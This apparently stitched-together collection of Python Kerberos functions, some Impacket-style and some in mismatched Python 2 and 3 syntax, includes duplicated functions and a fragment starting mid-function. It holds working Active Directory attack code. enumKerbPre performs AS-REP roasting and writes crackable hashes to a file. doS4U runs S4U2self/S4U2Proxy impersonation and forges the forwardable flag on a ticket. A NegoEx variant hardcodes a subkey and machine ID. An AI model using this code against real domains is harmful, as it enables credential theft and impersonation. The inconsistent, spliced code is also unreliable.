def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT=None, TGS=None, targetName='', kdcHost=None, useCache=True): # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): try: lmhash = unhexlify(lmhash) except TypeError: pass if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) # retrieve user information from CCache file if needed if username == '' and creds is not None: username = creds['client'].prettyPrint().split( b'@')[0].decode('utf-8') LOG.debug('Username retrieved from CCache: %s' % username) elif username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'].decode( 'utf-8') LOG.debug('Username retrieved from CCache: %s' % username) # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: if TGT is None: if TGS is None: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash == b'' and nthash == b'' and ( aesKey == b'' or aesKey is None ) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug( 'Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) continue else: raise else: raise else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] # Now that we have the TGT, we should ask for a TGS for cifs if TGS is None: serverName = Principal( 'host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash == b'' and nthash == b'' and ( aesKey == b'' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise else: raise else: break else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] break # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.APOptions.mutual_required.value) apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum'] = noValue authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 chkField[ 'Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE authenticator['cksum']['checksum'] = chkField.getData() authenticator['seq-number'] = 0 encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(TypesMech['KRB5 - Kerberos 5']) + KRB5_AP_REQ + encoder.encode(apReq)) return cipher, sessionKey, blob.getData()
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer): a = (minikerberos.protocol.asn1_structs.AS_REP(tgtResponse['Kerberos'])) decodedTGT = decoder.decode(a.dump(), asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() # should be -128 name-type ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.KDCOptions.forwarded.value) apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = decodedTGT['crealm'].asOctets() clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = 2 #now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 # GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG chkField['Flags'] = 16418 subKey = bytes.fromhex( 'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3') checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value] keyServer = Key(Enctype.AES256, subKey) kerbFinished = {} kerbFinished['gss-mic'] = { 'cksumtype': 16, 'checksum': checksumtype.checksum(keyServer, 41, bytes.fromhex(gssAPIChecksumBuffer)) } kerbFinished = KRB_FINISHED(kerbFinished) authenticator['cksum']['checksum'] = chkField.getData() + bytes.fromhex( GenerateExtensions(kerbFinished.dump())) authenticator['subkey']['keytype'] = 18 authenticator['subkey']['keyvalue'] = subKey authenticator['seq-number'] = 682437742 tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY() tokenIntegrity.Flags = 1 tokenIntegrity.MachineID = bytes.fromhex( '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde') tokenIntegrity.TokenIL = int('2000', 16) RESTRICTION_ENTRY = [{ 'restriction-type': 0, 'restriction': bytes.fromhex(Pack(tokenIntegrity)) }] KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData() KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141 KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0][ 'ad-data'] = KERB_AD_RESTRICTION_ENTRYS(RESTRICTION_ENTRY).dump() # AD_IF_RELEVANT authenticator['authorization-data'][0]['ad-type'] = 1 authenticator['authorization-data'][0]['ad-data'] = encoder.encode( KERB_AUTH_DATA_TOKEN_RESTRICTIONS) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) ## should be key usage 11 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator apReqNegoEx = {} apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7' apReqNegoEx['null'] = core.Boolean(True, contents=b'') apReqNegoEx['Kerberos'] = minikerberos.protocol.asn1_structs.AP_REQ.load( encoder.encode(apReq)) apReqNegoEx = SPNEGO_PKINIT_AP_REQ(apReqNegoEx) data = (apReqNegoEx.dump().hex()) return data
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer): apReqNegoEx = SPNEGO_PKINIT() apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7' apReqNegoEx['null'] = univ.Boolean(True) # Extract the ticket from the TGT ticket = Ticket() # should be -128 name-type ticket.from_asn1(tgtResponse['ticket']) apReqNegoEx['Kerberos']['ApReq']['pvno'] = 5 apReqNegoEx['Kerberos']['ApReq']['msg-type'] = int( constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.KDCOptions.forwarded.value) apReqNegoEx['Kerberos']['ApReq']['ap-options'] = constants.encodeFlags( opts) seq_set(apReqNegoEx['Kerberos']['ApReq'], 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = tgtResponse['crealm'].asOctets() clientName = PrincipalModified() clientName.from_asn1(tgtResponse, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = 2 #now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 # GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG chkField['Flags'] = 16418 subKey = 'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3'.decode( 'hex') checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value] keyServer = Key(Enctype.AES256, subKey) kerbFinished = KRB_FINISHED() kerbFinished['gss-mic']['cksumtype'] = 16 kerbFinished['gss-mic']['checksum'] = checksumtype.checksum( keyServer, 41, gssAPIChecksumBuffer.decode('hex')) authenticator['cksum']['checksum'] = chkField.getData() + ( GenerateExtensions( encoder.encode(kerbFinished).encode('hex'))).decode('hex') authenticator['subkey']['keytype'] = 18 authenticator['subkey']['keyvalue'] = subKey authenticator['seq-number'] = 682437742 tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY() tokenIntegrity.Flags = 1 tokenIntegrity.MachineID = '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde'.decode( 'hex') tokenIntegrity.TokenIL = int('2000', 16) RESTRICTION_ENTRY = KERB_AD_RESTRICTION_ENTRYS() RESTRICTION_ENTRY[0]['restriction-type'] = 0 # const RESTRICTION_ENTRY[0]['restriction'] = Pack(tokenIntegrity).decode('hex') KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData() KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141 KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-data'] = encoder.encode( RESTRICTION_ENTRY) # AD_IF_RELEVANT authenticator['authorization-data'][0]['ad-type'] = 1 authenticator['authorization-data'][0]['ad-data'] = encoder.encode( KERB_AUTH_DATA_TOKEN_RESTRICTIONS) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) ## should be key usage 11 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReqNegoEx['Kerberos']['ApReq']['authenticator']['etype'] = cipher.enctype apReqNegoEx['Kerberos']['ApReq']['authenticator'][ 'cipher'] = encryptedEncodedAuthenticator data = encoder.encode(apReqNegoEx).encode('hex') data = data[:4] + "{0:0{1}x}".format(int(data[4:8], 16) - 1, 4) + data[8:26] + '00' + data[30:] return data
def enumKerbPre(self): # Build user array users = [] self.conn.search( self.dc_string[:-1], '(&(samaccounttype=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))', attributes=self.ldapProps, search_scope=SUBTREE) for entry in self.conn.entries: users.append( str(entry['sAMAccountName']) + '@{0}'.format(self.server)) if len(users) == 0: print( '[ ' + colored('OK', 'green') + ' ] Found {0} accounts that does not require Kerberos preauthentication' .format(len(users))) elif len(users) == 1: print( '[ ' + colored('OK', 'yellow') + ' ] Found {0} account that does not require Kerberos preauthentication' .format(len(users))) else: print( '[ ' + colored('OK', 'yellow') + ' ] Found {0} accounts that does not require Kerberos preauthentication' .format(len(users))) hashes = [] # Build request for Tickets for usr in users: clientName = Principal( usr, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = str(self.server).upper() serverName = Principal( 'krbtgt/{0}'.format(domain), type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacReq = KERB_PA_PAC_REQUEST() pacReq['include-pac'] = True encodedPacReq = encoder.encode(pacReq) asReq['pvno'] = 5 asReq['msg-type'] = int( constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacReq requestBody = seq_set(asReq, 'req-body') options = list() options.append(constants.KDCOptions.forwardable.value) options.append(constants.KDCOptions.renewable.value) options.append(constants.KDCOptions.proxiable.value) requestBody['kdc-options'] = constants.encodeFlags(options) seq_set(requestBody, 'sname', serverName.components_to_asn1) seq_set(requestBody, 'cname', clientName.components_to_asn1) requestBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) requestBody['till'] = KerberosTime.to_asn1(now) requestBody['rtime'] = KerberosTime.to_asn1(now) requestBody['nonce'] = random.getrandbits(31) supportedCiphers = (int( constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(requestBody, 'etype', supportedCiphers) msg = encoder.encode(asReq) try: response = sendReceive(msg, domain, self.server) except KerberosError as e: if e.getErrorCode( ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: supportedCiphers = ( int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96. value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96. value), ) seq_set_iter(requestBody, 'etype', supportedCiphers) msg = encoder.encode(asReq) response = sendReceive(msg, domain, self.server) else: print(e) continue asRep = decoder.decode(response, asn1Spec=AS_REP())[0] hashes.append('$krb5asrep${0}@{1}:{2}${3}'.format( usr, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())) if len(hashes) > 0: with open('{0}-jtr-hashes'.format(self.server), 'w') as f: for h in hashes: f.write(str(h) + '\n') print('[ ' + colored('OK', 'yellow') + ' ] Wrote all hashes to {0}-jtr-hashes'.format(self.server)) else: print('[ ' + colored('OK', 'green') + ' ] Got 0 hashes')
asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = None asReq['padata'][0] = None asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = None asReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now)
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print(authenticator.prettyPrint()) print('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print(paForUserEnc.prettyPrint()) encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print(tgsReq.prettyPrint()) logging.info('\tRequesting S4U2self') message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) if self.__force_forwardable: # Convert hashes to binary form, just in case we're receiving strings if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass # Compute NTHash and AESKey if they're not provided in arguments if self.__password != '' and self.__domain != '' and self.__user != '': if not nthash: nthash = compute_nthash(self.__password) if logging.getLogger().level == logging.DEBUG: logging.debug('NTHash') print(hexlify(nthash).decode()) if not aesKey: salt = self.__domain.upper() + self.__user aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents if logging.getLogger().level == logging.DEBUG: logging.debug('AESKey') print(hexlify(aesKey).decode()) # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys cipherText = tgs['ticket']['enc-part']['cipher'] # Check which cipher was used to encrypt the ticket. It's not always the same # This determines which of our keys we should use for decryption/re-encryption newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] if newCipher.enctype == Enctype.RC4: key = Key(newCipher.enctype, nthash) else: key = Key(newCipher.enctype, aesKey) # Decrypt and decode the ticket # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) plainText = newCipher.decrypt(key, 2, cipherText) encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] # Print the flags in the ticket before modification logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket from S4U2self is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Customize flags the forwardable flag is the only one that really matters logging.info('\tForcing the service ticket to be forwardable') # convert to string of bits flagBits = encTicketPart['flags'].asBinary() # Set the forwardable flag. Awkward binary string insertion flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] # Overwrite the value with the new bits encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket now is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Re-encode and re-encrypt the ticket # Again, Key Usage 2 encodedEncTicketPart = encoder.encode(encTicketPart) cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) # Get the service ticket ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # Add resource-based constrained delegation support paPacOptions = PA_PAC_OPTIONS() paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype) ) ) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = None asReq['padata'][0] = None asReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) # Yes.. this shouldn't happend but it's inherited from the past if aesKey is None: aesKey = '' if nthash == '': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != '': if len(aesKey) == 64: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), ) else: supportedCiphers = (int( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), ) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value ) and aesKey is '': supportedCiphers = (int( constants.EncryptionTypes.rc4_hmac.value), ) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise
